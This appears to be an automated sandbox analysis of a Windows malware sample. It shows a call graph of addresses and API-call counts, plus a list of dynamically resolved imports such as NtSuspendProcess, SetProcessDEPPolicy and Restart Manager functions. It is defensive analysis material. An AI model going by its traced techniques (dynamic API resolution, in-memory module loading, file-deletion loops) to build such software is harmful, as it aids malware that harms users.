54349->54350 54351 40eb3f 54350->54351 54352 401fc0 28 API calls 54351->54352 54353 40eb4a 54352->54353 54354 401e65 22 API calls 54353->54354 54355 40eb63 54354->54355 54356 401e65 22 API calls 54355->54356 54357 40eb7e 54356->54357 54358 40ebe9 54357->54358 55004 406c59 54357->55004 54359 401e65 22 API calls 54358->54359 54365 40ebf6 54359->54365 54361 40ebab 54362 401fe2 28 API calls 54361->54362 54363 40ebb7 54362->54363 54364 401fd8 11 API calls 54363->54364 54367 40ebc0 54364->54367 54366 40ec3d 54365->54366 54371 413584 3 API calls 54365->54371 54810 40d0a4 54366->54810 55009 413584 RegOpenKeyExA 54367->55009 54377 40ec21 54371->54377 54375 40f38a 55102 4139e4 30 API calls 54375->55102 54377->54366 55012 4139e4 30 API calls 54377->55012 54385 40f3a0 55103 4124b0 65 API calls ___scrt_fastfail 54385->55103 54586->54256 54587->54263 54592->54283 54594 438fb6 ___vcrt_initialize_pure_virtual_call_handler ___vcrt_initialize_winapi_thunks 54593->54594 54606 43a4ba 54594->54606 54597 438fc4 54597->54285 54599 438fcc 54600 438fd7 54599->54600 54620 43a4f6 DeleteCriticalSection 54599->54620 54600->54285 54648 44fbe8 54602->54648 54605 438fda 8 API calls 3 library calls 54605->54286 54607 43a4c3 54606->54607 54609 43a4ec 54607->54609 54611 438fc0 54607->54611 54621 438eff 54607->54621 54626 43a4f6 DeleteCriticalSection 54609->54626 54611->54597 54612 43a46c 54611->54612 54641 438e14 54612->54641 54614 43a476 54615 43a481 54614->54615 54646 438ec2 6 API calls try_get_function 54614->54646 54615->54599 54617 43a48f 54618 43a49c 54617->54618 54647 43a49f 6 API calls ___vcrt_FlsFree 54617->54647 54618->54599 54620->54597 54627 438cf3 54621->54627 54624 438f36 InitializeCriticalSectionAndSpinCount 54625 438f22 54624->54625 54625->54607 54626->54611 54628 438d23 54627->54628 54629 438d27 54627->54629 54628->54629 54632 438d47 54628->54632 54634 438d93 54628->54634 54629->54624 54629->54625 54631 438d53 GetProcAddress 54633 438d63 __crt_fast_encode_pointer 54631->54633 54632->54629 54632->54631 54633->54629 54635 438dbb LoadLibraryExW 54634->54635 54636 438db0 54634->54636 54637 438dd7 GetLastError 54635->54637 54638 438def 54635->54638 54636->54628 54637->54638 54639 438de2 LoadLibraryExW 54637->54639 54638->54636 54640 438e06 FreeLibrary 54638->54640 54639->54638 54640->54636 54642 438cf3 try_get_function 5 API calls 54641->54642 54643 438e2e 54642->54643 54644 438e46 TlsAlloc 54643->54644 54645 438e37 54643->54645 54645->54614 54646->54617 54647->54615 54651 44fc01 54648->54651 54649 43502b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54650 43464e 54649->54650 54650->54289 54650->54605 54651->54649 54653 44f0eb 54652->54653 54654 44f0e2 54652->54654 54653->54305 54657 44efd8 54654->54657 54656->54305 54658 448295 __Getctype 36 API calls 54657->54658 54659 44efe5 54658->54659 54677 44f0f7 54659->54677 54661 44efed 54686 44ed6c 54661->54686 54664 44f004 54664->54653 54667 44f047 54670 446802 _free 20 API calls 54667->54670 54670->54664 54671 44f042 54710 44062d 20 API calls __dosmaperr 54671->54710 54673 44f08b 54673->54667 54711 44ec42 20 API calls 54673->54711 54674 44f05f 54674->54673 54675 446802 _free 20 API calls 54674->54675 54675->54673 54678 44f103 ___scrt_is_nonwritable_in_current_image 54677->54678 54679 448295 __Getctype 36 API calls 54678->54679 54684 44f10d 54679->54684 54681 44f191 ___scrt_is_nonwritable_in_current_image 54681->54661 54684->54681 54685 446802 _free 20 API calls 54684->54685 54712 446175 36 API calls 4 library calls 54684->54712 54713 445909 EnterCriticalSection 54684->54713 54714 44f188 LeaveCriticalSection std::_Lockit::~_Lockit 54684->54714 54685->54684 54687 43a837 _strftime 36 API calls 54686->54687 54688 44ed7e 54687->54688 54689 44ed8d GetOEMCP 54688->54689 54690 44ed9f 54688->54690 54691 44edb6 54689->54691 54690->54691 54692 44eda4 GetACP 54690->54692 54691->54664 54693 4461b8 54691->54693 54692->54691 54694 4461f6 54693->54694 54695 4461c6 ___crtLCMapStringA 54693->54695 54716 44062d 20 API calls __dosmaperr 54694->54716 54695->54694 54696 4461e1 RtlAllocateHeap 54695->54696 54715 443001 7 API calls 2 library calls 54695->54715 54696->54695 54698 4461f4 54696->54698 54698->54667 54700 44f199 54698->54700 54701 44ed6c 38 API calls 54700->54701 54703 44f1b8 54701->54703 54702 44f1bf 54704 43502b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54702->54704 54703->54702 54706 44f209 IsValidCodePage 54703->54706 54709 44f22e ___scrt_fastfail 54703->54709 54705 44f03a 54704->54705 54705->54671 54705->54674 54706->54702 54707 44f21b GetCPInfo 54706->54707 54707->54702 54707->54709 54717 44ee44 GetCPInfo 54709->54717 54710->54667 54711->54667 54712->54684 54713->54684 54714->54684 54715->54695 54716->54698 54718 44ee7e 54717->54718 54726 44ef28 54717->54726 54727 4511ac 54718->54727 54721 43502b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54723 44efd4 54721->54723 54723->54702 54725 44aee6 _swprintf 41 API calls 54725->54726 54726->54721 54728 43a837 _strftime 36 API calls 54727->54728 54729 4511cc MultiByteToWideChar 54728->54729 54731 45120a 54729->54731 54737 4512a2 54729->54737 54733 4461b8 ___crtLCMapStringA 21 API calls 54731->54733 54738 45122b __alloca_probe_16 ___scrt_fastfail 54731->54738 54732 43502b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54734 44eedf 54732->54734 54733->54738 54741 44aee6 54734->54741 54735 45129c 54746 435ecd 20 API calls _free 54735->54746 54737->54732 54738->54735 54739 451270 MultiByteToWideChar 54738->54739 54739->54735 54740 45128c GetStringTypeW 54739->54740 54740->54735 54742 43a837 _strftime 36 API calls 54741->54742 54743 44aef9 54742->54743 54747 44acc9 54743->54747 54746->54737 54748 44ace4 ___crtLCMapStringA 54747->54748 54749 44ad0a MultiByteToWideChar 54748->54749 54750 44ad34 54749->54750 54751 44aebe 54749->54751 54754 4461b8 ___crtLCMapStringA 21 API calls 54750->54754 54756 44ad55 __alloca_probe_16 54750->54756 54752 43502b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54751->54752 54753 44aed1 54752->54753 54753->54725 54754->54756 54755 44ad9e MultiByteToWideChar 54757 44adb7 54755->54757 54769 44ae0a 54755->54769 54756->54755 54756->54769 54774 448c33 54757->54774 54761 44ade1 54764 448c33 _strftime 11 API calls 54761->54764 54761->54769 54762 44ae19 54763 4461b8 ___crtLCMapStringA 21 API calls 54762->54763 54770 44ae3a __alloca_probe_16 54762->54770 54763->54770 54764->54769 54765 44aeaf 54782 435ecd 20 API calls _free 54765->54782 54766 448c33 _strftime 11 API calls 54768 44ae8e 54766->54768 54768->54765 54771 44ae9d WideCharToMultiByte 54768->54771 54783 435ecd 20 API calls _free 54769->54783 54770->54765 54770->54766 54771->54765 54772 44aedd 54771->54772 54784 435ecd 20 API calls _free 54772->54784 54775 44854a __dosmaperr 5 API calls 54774->54775 54776 448c5a 54775->54776 54779 448c63 54776->54779 54785 448cbb 10 API calls 3 library calls 54776->54785 54778 448ca3 LCMapStringW 54778->54779 54780 43502b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54779->54780 54781 448cb5 54780->54781 54781->54761 54781->54762 54781->54769 54782->54769 54783->54751 54784->54769 54785->54778 54787 41cc20 LoadLibraryA GetProcAddress 54786->54787 54788 41cc10 GetModuleHandleA GetProcAddress 54786->54788 54789 41cc49 44 API calls 54787->54789 54790 41cc39 LoadLibraryA GetProcAddress 54787->54790 54788->54787 54789->54310 54790->54789 55104 41b539 FindResourceA 54791->55104 54794 43bda0 new 21 API calls 54795 40f428 ctype 54794->54795 54796 4020b7 28 API calls 54795->54796 54797 40f443 54796->54797 54798 401fe2 28 API calls 54797->54798 54799 40f44e 54798->54799 54800 401fd8 11 API calls 54799->54800 54801 40f457 54800->54801 54802 43bda0 new 21 API calls 54801->54802 54803 40f468 ctype 54802->54803 55107 406e13 54803->55107 54805 40f49b 54805->54312 54807 40fb5e 54806->54807 54809 40fb65 54806->54809 55110 402163 11 API calls 54807->55110 54809->54320 55111 401fab 54810->55111 55000->54327 55001->54336 55002->54340 55005 4020df 11 API calls 55004->55005 55006 406c65 55005->55006 55007 4032a0 28 API calls 55006->55007 55008 406c82 55007->55008 55008->54361 55010 40ebdf 55009->55010 55011 4135ae RegQueryValueExA RegCloseKey 55009->55011 55010->54358 55010->54375 55011->55010 55012->54366 55102->54385 55105 41b556 LoadResource LockResource SizeofResource 55104->55105 55106 40f419 55104->55106 55105->55106 55106->54794 55108 4020b7 28 API calls 55107->55108 55109 406e27 55108->55109 55109->54805 55110->54809 55599 4129da 55600 4129ec 55599->55600 55601 4041a2 28 API calls 55600->55601 55602 4129ff 55601->55602 55603 4020f6 28 API calls 55602->55603 55604 412a0e 55603->55604 55605 4020f6 28 API calls 55604->55605 55606 412a1d 55605->55606 55607 41beac 28 API calls 55606->55607 55608 412a26 55607->55608 55609 412ace 55608->55609 55611 401e65 22 API calls 55608->55611 55610 401e8d 11 API calls 55609->55610 55612 412ad7 55610->55612 55613 412a3d 55611->55613 55614 401fd8 11 API calls 55612->55614 55615 4020f6 28 API calls 55613->55615 55616 412ae0 55614->55616 55617 412a48 55615->55617 55618 401fd8 11 API calls 55616->55618 55619 401e65 22 API calls 55617->55619 55620 412ae8 55618->55620 55621 412a53 55619->55621 55622 4020f6 28 API calls 55621->55622 55623 412a5e 55622->55623 55624 401e65 22 API calls 55623->55624 55625 412a69 55624->55625 55626 4020f6 28 API calls 55625->55626 55627 412a74 55626->55627 55628 401e65 22 API calls 55627->55628 55629 412a7f 55628->55629 55630 4020f6 28 API calls 55629->55630 55631 412a8a 55630->55631 55632 401e65 22 API calls 55631->55632 55633 412a95 55632->55633 55634 4020f6 28 API calls 55633->55634 55635 412aa0 55634->55635 55636 401e65 22 API calls 55635->55636 55637 412aae 55636->55637 55638 4020f6 28 API calls 55637->55638 55639 412ab9 55638->55639 55643 412aef GetModuleFileNameW 55639->55643 55642 404e26 99 API calls 55642->55609 55644 4020df 11 API calls 55643->55644 55645 412b1a 55644->55645 55646 4020df 11 API calls 55645->55646 55647 412b26 55646->55647 55648 4020df 11 API calls 55647->55648 55672 412b32 55648->55672 55649 401fd8 11 API calls 55649->55672 55650 41ba09 43 API calls 55650->55672 55651 40da23 32 API calls 55651->55672 55652 40417e 28 API calls 55652->55672 55653 4185a3 31 API calls 55653->55672 55654 412c58 Sleep 55654->55672 55655 4042fc 84 API calls 55655->55672 55656 40431d 28 API calls 55656->55672 55657 403014 28 API calls 55657->55672 55658 401f09 11 API calls 55658->55672 55659 412cfa Sleep 55659->55672 55660 412d9c Sleep 55660->55672 55661 41c516 32 API calls 55661->55672 55662 412dff DeleteFileW 55662->55672 55663 412e36 DeleteFileW 55663->55672 55664 412df1 55664->55662 55664->55663 55666 412e72 DeleteFileW 55664->55666 55664->55672 55679 401f09 11 API calls 55664->55679 55683 412eff 55664->55683 55665 412e88 Sleep 55665->55672 55666->55672 55667 412f01 55668 401f09 11 API calls 55667->55668 55669 412f0d 55668->55669 55670 401f09 11 API calls 55669->55670 55671 412f19 55670->55671 55673 401f09 11 API calls 55671->55673 55672->55649 55672->55650 55672->55651 55672->55652 55672->55653 55672->55654 55672->55655 55672->55656 55672->55657 55672->55658 55672->55659 55672->55660 55672->55661 55672->55664 55672->55665 55672->55667 55675 412ecd Sleep 55672->55675 55674 412f25 55673->55674 55676 40b93f 28 API calls 55674->55676 55677 401f09 11 API calls 55675->55677 55678 412f38 55676->55678 55677->55664 55680 4020f6 28 API calls 55678->55680 55679->55664 55681 412f58 55680->55681 55790 413268 55681->55790 55683->55674 55685 401f09 11 API calls 55686 412f6f 55685->55686 55687 4130e3 55686->55687 55688 412f8f 55686->55688 55689 41bdaf 28 API calls 55687->55689 55690 41bdaf 28 API calls 55688->55690 55691 4130ec 55689->55691 55692 412f9b 55690->55692 55693 402f31 28 API calls 55691->55693 55694 41bc1f 28 API calls 55692->55694 55695 413123 55693->55695 55696 412fb5 55694->55696 55697 402f10 28 API calls 55695->55697 55698 402f31 28 API calls 55696->55698 55699 413132 55697->55699 55700 412fe5 55698->55700 55701 402f10 28 API calls 55699->55701 55702 402f10 28 API calls 55700->55702 55703 41313e 55701->55703 55704 412ff4 55702->55704 55705 402f10 28 API calls 55703->55705 55706 402f10 28 API calls 55704->55706 55707 41314d 55705->55707 55708 413003 55706->55708 55709 402f10 28 API calls 55707->55709 55710 402f10 28 API calls 55708->55710 55711 41315c 55709->55711 55712 413012 55710->55712 55713 402f10 28 API calls 55711->55713 55714 402f10 28 API calls 55712->55714 55715 41316b 55713->55715 55716 413021 55714->55716 55717 402f10 28 API calls 55715->55717 55718 402f10 28 API calls 55716->55718 55720 41317a 55717->55720 55719 41302d 55718->55719 55722 402f10 28 API calls 55719->55722 55804 402ea1 28 API calls 55720->55804 55724 413039 55722->55724 55723 413184 55725 404aa1 61 API calls 55723->55725 55802 402ea1 28 API calls 55724->55802 55727 413191 55725->55727 55729 401fd8 11 API calls 55727->55729 55728 413048 55730 402f10 28 API calls 55728->55730 55731 41319d 55729->55731 55732 413054 55730->55732 55733 401fd8 11 API calls 55731->55733 55803 402ea1 28 API calls 55732->55803 55735 4131a9 55733->55735 55737 401fd8 11 API calls 55735->55737 55736 41305e 55738 404aa1 61 API calls 55736->55738 55739 4131b5 55737->55739 55740 41306b 55738->55740 55741 401fd8 11 API calls 55739->55741 55742 401fd8 11 API calls 55740->55742 55743 4131c1 55741->55743 55744 413074 55742->55744 55745 401fd8 11 API calls 55743->55745 55746 401fd8 11 API calls 55744->55746 55747 4131ca 55745->55747 55748 41307d 55746->55748 55749 401fd8 11 API calls 55747->55749 55750 401fd8 11 API calls 55748->55750 55752 4131d3 55749->55752 55751 413086 55750->55751 55754 401fd8 11 API calls 55751->55754 55753 401fd8 11 API calls 55752->55753 55755 4130d7 55753->55755 55756 41308f 55754->55756 55758 401fd8 11 API calls 55755->55758 55757 401fd8 11 API calls 55756->55757 55759 41309b 55757->55759 55760 4131e5 55758->55760 55761 401fd8 11 API calls 55759->55761 55762 401f09 11 API calls 55760->55762 55763 4130a7 55761->55763 55764 4131f1 55762->55764 55765 401fd8 11 API calls 55763->55765 55766 401fd8 11 API calls 55764->55766 55767 4130b3 55765->55767 55768 4131fd 55766->55768 55769 401fd8 11 API calls 55767->55769 55770 401fd8 11 API calls 55768->55770 55771 4130bf 55769->55771 55772 413209 55770->55772 55773 401fd8 11 API calls 55771->55773 55774 401fd8 11 API calls 55772->55774 55775 4130cb 55773->55775 55776 413215 55774->55776 55777 401fd8 11 API calls 55775->55777 55778 401fd8 11 API calls 55776->55778 55777->55755 55779 413221 55778->55779 55780 401fd8 11 API calls 55779->55780 55781 41322d 55780->55781 55782 401fd8 11 API calls 55781->55782 55783 413239 55782->55783 55784 401fd8 11 API calls 55783->55784 55785 413245 55784->55785 55786 401fd8 11 API calls 55785->55786 55787 413251 55786->55787 55788 401fd8 11 API calls 55787->55788 55789 412abe 55788->55789 55789->55642 55791 4132a6 55790->55791 55793 413277 55790->55793 55792 4132b5 55791->55792 55805 10001c5b 55791->55805 55794 40417e 28 API calls 55792->55794 55809 411d2d 55793->55809 55796 4132c1 55794->55796 55798 401fd8 11 API calls 55796->55798 55800 412f63 55798->55800 55800->55685 55802->55728 55803->55736 55804->55723 55806 10001c6b ___scrt_fastfail 55805->55806 55813 100012ee 55806->55813 55808 10001c87 55808->55792 55855 411d39 55809->55855 55812 411fa2 22 API calls new 55812->55791 55814 10001324 ___scrt_fastfail 55813->55814 55815 100013b7 GetEnvironmentVariableW 55814->55815 55839 100010f1 55815->55839 55818 100010f1 57 API calls 55819 10001465 55818->55819 55820 100010f1 57 API calls 55819->55820 55821 10001479 55820->55821 55822 100010f1 57 API calls 55821->55822 55823 1000148d 55822->55823 55824 100010f1 57 API calls 55823->55824 55825 100014a1 55824->55825 55826 100010f1 57 API calls 55825->55826 55827 100014b5 lstrlenW 55826->55827 55828 100014d9 lstrlenW 55827->55828 55838 100014d2 55827->55838 55829 100010f1 57 API calls 55828->55829 55830 10001501 lstrlenW lstrcatW 55829->55830 55831 100010f1 57 API calls 55830->55831 55832 10001539 lstrlenW lstrcatW 55831->55832 55833 100010f1 57 API calls 55832->55833 55834 1000156b lstrlenW lstrcatW 55833->55834 55835 100010f1 57 API calls 55834->55835 55836 1000159d lstrlenW lstrcatW 55835->55836 55837 100010f1 57 API calls 55836->55837 55837->55838 55838->55808 55840 10001118 ___scrt_fastfail 55839->55840 55841 10001129 lstrlenW 55840->55841 55852 10002c40 55841->55852 55844 10001177 lstrlenW FindFirstFileW 55846 100011a0 55844->55846 55847 100011e1 55844->55847 55845 10001168 lstrlenW 55845->55844 55848 100011c7 FindNextFileW 55846->55848 55849 100011aa 55846->55849 55847->55818 55848->55846 55851 100011da FindClose 55848->55851 55849->55848 55854 10001000 57 API calls ___scrt_fastfail 55849->55854 55851->55847 55853 10001148 lstrcatW lstrlenW 55852->55853 55853->55844 55853->55845 55854->55849 55890 4117d7 55855->55890 55857 411d57 55858 411d6d SetLastError 55857->55858 55859 4117d7 SetLastError 55857->55859 55886 411d35 55857->55886 55858->55886 55860 411d8a 55859->55860 55860->55858 55862 411dac GetNativeSystemInfo 55860->55862 55860->55886 55863 411df2 55862->55863 55874 411dff SetLastError 55863->55874 55893 411cde VirtualAlloc 55863->55893 55866 411e22 55867 411e47 GetProcessHeap HeapAlloc 55866->55867 55919 411cde VirtualAlloc 55866->55919 55869 411e70 55867->55869 55870 411e5e 55867->55870 55873 4117d7 SetLastError 55869->55873 55920 411cf5 VirtualFree 55870->55920 55871 411e3a 55871->55867 55871->55874 55875 411eb9 55873->55875 55874->55886 55876 411f6b 55875->55876 55894 411cde VirtualAlloc 55875->55894 55921 4120b2 GetProcessHeap HeapFree 55876->55921 55879 411ed2 ctype 55895 4117ea 55879->55895 55881 411efe 55881->55876 55899 411b9a 55881->55899 55885 411f36 55885->55876 55885->55886 55915 1000220c 55885->55915 55886->55812 55887 411f5c 55887->55886 55888 411f60 SetLastError 55887->55888 55888->55876 55891 4117e6 55890->55891 55892 4117db SetLastError 55890->55892 55891->55857 55892->55857 55893->55866 55894->55879 55896 4118c0 55895->55896 55898 411816 ctype ___scrt_fastfail 55895->55898 55896->55881 55897 4117d7 SetLastError 55897->55898 55898->55896 55898->55897 55900 411ca5 55899->55900 55901 411bbb IsBadReadPtr 55899->55901 55900->55876 55909 41198a 55900->55909 55901->55900 55908 411bd5 55901->55908 55904 411cbd SetLastError 55904->55900 55905 411ca7 SetLastError 55905->55900 55906 411c8a IsBadReadPtr 55906->55900 55906->55908 55908->55900 55908->55904 55908->55905 55908->55906 55922 440f5d 55908->55922 55913 4119b0 55909->55913 55910 411a99 55911 4118ed VirtualProtect 55910->55911 55912 411aab 55911->55912 55912->55885 55913->55910 55913->55912 55937 4118ed 55913->55937 55916 10002215 55915->55916 55917 1000221a dllmain_dispatch 55915->55917 55941 100022b1 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter ___get_entropy 55916->55941 55917->55887 55919->55871 55920->55874 55921->55886 55923 446206 55922->55923 55924 446213 55923->55924 55925 44621e 55923->55925 55926 4461b8 ___crtLCMapStringA 21 API calls 55924->55926 55927 446226 55925->55927 55933 44622f ___crtLCMapStringA 55925->55933 55931 44621b 55926->55931 55928 446802 _free 20 API calls 55927->55928 55928->55931 55929 446234 55935 44062d 20 API calls __dosmaperr 55929->55935 55930 446259 RtlReAllocateHeap 55930->55931 55930->55933 55931->55908 55933->55929 55933->55930 55936 443001 7 API calls 2 library calls 55933->55936 55935->55931 55936->55933 55938 4118fe 55937->55938 55939 4118f6 55937->55939 55938->55939 55940 411971 VirtualProtect 55938->55940 55939->55913 55940->55939 55941->55917 55942 42f97e 55943 42f989 55942->55943 55944 42f99d 55943->55944 55946 432f7f 55943->55946 55947 432f8e 55946->55947 55949 432f8a 55946->55949 55948 440f5d 22 API calls 55947->55948 55948->55949 55949->55944 55950 40165e 55951 401666 55950->55951 55952 401669 55950->55952 55953 4016a8 55952->55953 55955 401696 55952->55955 55954 43455e new 22 API calls 55953->55954 55956 40169c 55954->55956 55957 43455e new 22 API calls 55955->55957 55957->55956 55958 426cdc 55963 426d59 send 55958->55963 55964 10001f3f 55965 10001f4b ___DestructExceptionObject 55964->55965 55982 1000247c 55965->55982 55967 10001f52 55968 10002041 55967->55968 55969 10001f7c 55967->55969 55976 10001f57 ___scrt_is_nonwritable_in_current_image 55967->55976 55998 10002639 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 55968->55998 55993 100023de IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 55969->55993 55972 10002048 55973 10001f8b __RTC_Initialize 55973->55976 55994 100022fc RtlInitializeSListHead 55973->55994 55975 10001f99 ___scrt_initialize_default_local_stdio_options 55995 100046c5 5 API calls _ValidateLocalCookies 55975->55995 55978 10001fad 55978->55976 55996 100023b3 IsProcessorFeaturePresent ___isa_available_init ___scrt_release_startup_lock 55978->55996 55980 10001fb8 55980->55976 55997 10004669 5 API calls _ValidateLocalCookies 55980->55997 55983 10002485 55982->55983 55999 10002933 IsProcessorFeaturePresent 55983->55999 55985 10002491 56000 100034ea 55985->56000 55987 10002496 55992 1000249a 55987->55992 56009 100053c8 55987->56009 55990 100024b1 55990->55967 55992->55967 55993->55973 55994->55975 55995->55978 55996->55980 55997->55976 55998->55972 55999->55985 56001 100034ef ___vcrt_initialize_winapi_thunks 56000->56001 56013 10003936 7 API calls 2 library calls 56001->56013 56003 100034f9 56004 100034fd 56003->56004 56014 100038e8 56003->56014 56004->55987 56006 10003505 56007 10003510 56006->56007 56022 10003972 RtlDeleteCriticalSection 56006->56022 56007->55987 56044 10007457 56009->56044 56012 10003529 8 API calls 3 library calls 56012->55992 56013->56003 56023 10003af1 56014->56023 56018 1000390b 56019 10003918 56018->56019 56029 1000391b 6 API calls ___vcrt_FlsFree 56018->56029 56019->56006 56021 100038fd 56021->56006 56022->56004 56030 10003a82 56023->56030 56025 10003b0b 56026 10003b24 TlsAlloc 56025->56026 56027 100038f2 56025->56027 56027->56021 56028 10003ba2 6 API calls try_get_function 56027->56028 56028->56018 56029->56021 56031 10003aaa 56030->56031 56032 10003aa6 __crt_fast_encode_pointer 56030->56032 56031->56032 56037 100039be 56031->56037 56032->56025 56035 10003ac4 GetProcAddress 56035->56032 56036 10003ad4 __crt_fast_encode_pointer 56035->56036 56036->56032 56039 100039cd try_get_first_available_module 56037->56039 56038 100039ea LoadLibraryExW 56038->56039 56040 10003a05 GetLastError 56038->56040 56039->56038 56041 10003a60 FreeLibrary 56039->56041 56042 10003a77 56039->56042 56043 10003a38 LoadLibraryExW 56039->56043 56040->56039 56041->56039 56042->56032 56042->56035 56043->56039 56047 10007470 56044->56047 56045 10002ada _ValidateLocalCookies 5 API calls 56046 100024a3 56045->56046 56046->55990 56046->56012 56047->56045 56048 10005bff 56056 10005d5c 56048->56056 56052 10005c1b 56053 10005c28 56052->56053 56064 10005c2b 11 API calls 56052->56064 56055 10005c13 56057 10005c45 __dosmaperr 5 API calls 56056->56057 56058 10005d83 56057->56058 56059 10005d9b TlsAlloc 56058->56059 56062 10005d8c 56058->56062 56059->56062 56060 10002ada _ValidateLocalCookies 5 API calls 56061 10005c09 56060->56061 56061->56055 56063 10005b7a 20 API calls 2 library calls 56061->56063 56062->56060 56063->56052 56064->56055

                                                                                                                                                                                                  Executed Functions

                                                                                                                                                                                                  Function 0041CBE1 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(Psapi), ref: 0041CBF6
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CBFF
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040EA1C), ref: 0041CC16
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC19
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(shcore), ref: 0041CC2B
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC2E
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(user32), ref: 0041CC3F
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC42
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(ntdll), ref: 0041CC54
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC57
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(kernel32), ref: 0041CC63
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC66
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040EA1C), ref: 0041CC77
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC7A
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040EA1C), ref: 0041CC8B
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC8E
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(Shell32), ref: 0041CC9F
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CCA2
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040EA1C), ref: 0041CCB3
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CCB6
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040EA1C), ref: 0041CCC7
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CCCA
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040EA1C), ref: 0041CCDB
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CCDE
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040EA1C), ref: 0041CCEF
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CCF2
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040EA1C), ref: 0041CD03
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CD06
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CD14
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CD17
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(kernel32), ref: 0041CD28
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CD2B
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040EA1C), ref: 0041CD38
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CD3B
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040EA1C), ref: 0041CD48
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CD4B
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CD5D
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CD60
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CD6D
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CD70
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040EA1C), ref: 0041CD81
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CD84
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040EA1C), ref: 0041CD95
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CD98
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CDAA
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CDAD
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CDBA
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CDBD
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CDCA
